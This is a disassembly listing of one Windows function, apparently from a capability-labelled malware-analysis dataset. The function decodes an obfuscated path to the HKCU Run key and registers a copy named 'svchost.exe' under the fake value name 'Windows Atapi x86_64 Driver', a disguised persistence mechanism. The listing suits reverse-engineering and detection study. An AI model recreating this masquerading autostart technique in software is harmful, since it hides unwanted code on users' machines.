Function at 0x140003ac0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
xor r12d, r12d
mov r14, qword [0x14000c0d0]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, 0xb
jb 0x140003ef3
lea r15, [0x14000c0c0]
cmp qword [0x14000c0d8], 7
cmova r15, qword [0x14000c0c0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rsi, [r14 + 0xb]
mov ebx, 7
lea rdi, [rsp + 0x58]
cmp rsi, rbx
jbe 0x140003be8
mov rbx, rsi
or rbx, 7
cmp rbx, rcx
jbe 0x140003bae
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140003bdb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003eed
mov rcx, rax
call fcn.1400068c0
test rax, rax
je 0x140003eae
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003be3
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140003eed
add rcx, rcx
jne 0x140003b79
mov rdi, r12
jmp 0x140003be3
call fcn.1400068c0
mov rdi, rax
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rbx
lea rbx, [r14 + r14]
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.svchost.exe]
movups xmmword [rbx + rdi], xmm0
mov eax, dword [0x140008b60]
mov dword [rbx + rdi + 0x10], eax
movzx eax, word [0x140008b64]
mov word [rbx + rdi + 0x14], ax
mov word [rdi + rsi*2], r12w
lea rcx, [rsp + 0x58]
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x70]
cmp rdi, 7
cmova rcx, rbx
lea rdx, [rbp - 0x60]
sub rdx, rcx
nop dword [rax + rax]
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140003c50
lea rdx, str...............
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400056b0
lea rdx, [0x140005890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov ecx, 0x50
call fcn.1400068c0
mov rcx, rax
mov qword [rsp + 0x78], rax
movdqa xmm0, xmmword [0x140008dc0]
movdqu xmmword [rbp - 0x78], xmm0
movaps xmm0, xmmword [str.U09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140008b90]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140008ba0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140008bb0]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x140008bc0]
mov dword [rcx + 0x40], eax
mov byte [rcx + 0x44], 0
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x38]
call fcn.140001590
nop
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rdx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test eax, eax
jne 0x140003d59
lea rdx, str.Chave_aberta_com_sucesso.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400056b0
lea rdx, [0x140005890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140003db4
lea rdx, str.Erro_ao_abrir_a_chave:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400056b0
mov edx, esi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, str.
call fcn.1400056b0
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x48]
mov rcx, rax
call fcn.140006240
lea rdx, [0x140005890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x28], 0x104
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Windows_Atapi_x86_64_Driver
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140003e2c
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006b44
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140003e7f
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006b44
nop
cmp rdi, 7
jbe 0x140003ebd
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140003eb5
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003eb5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140006b44
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140006600
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001340
int3
call fcn.1400013e0
int3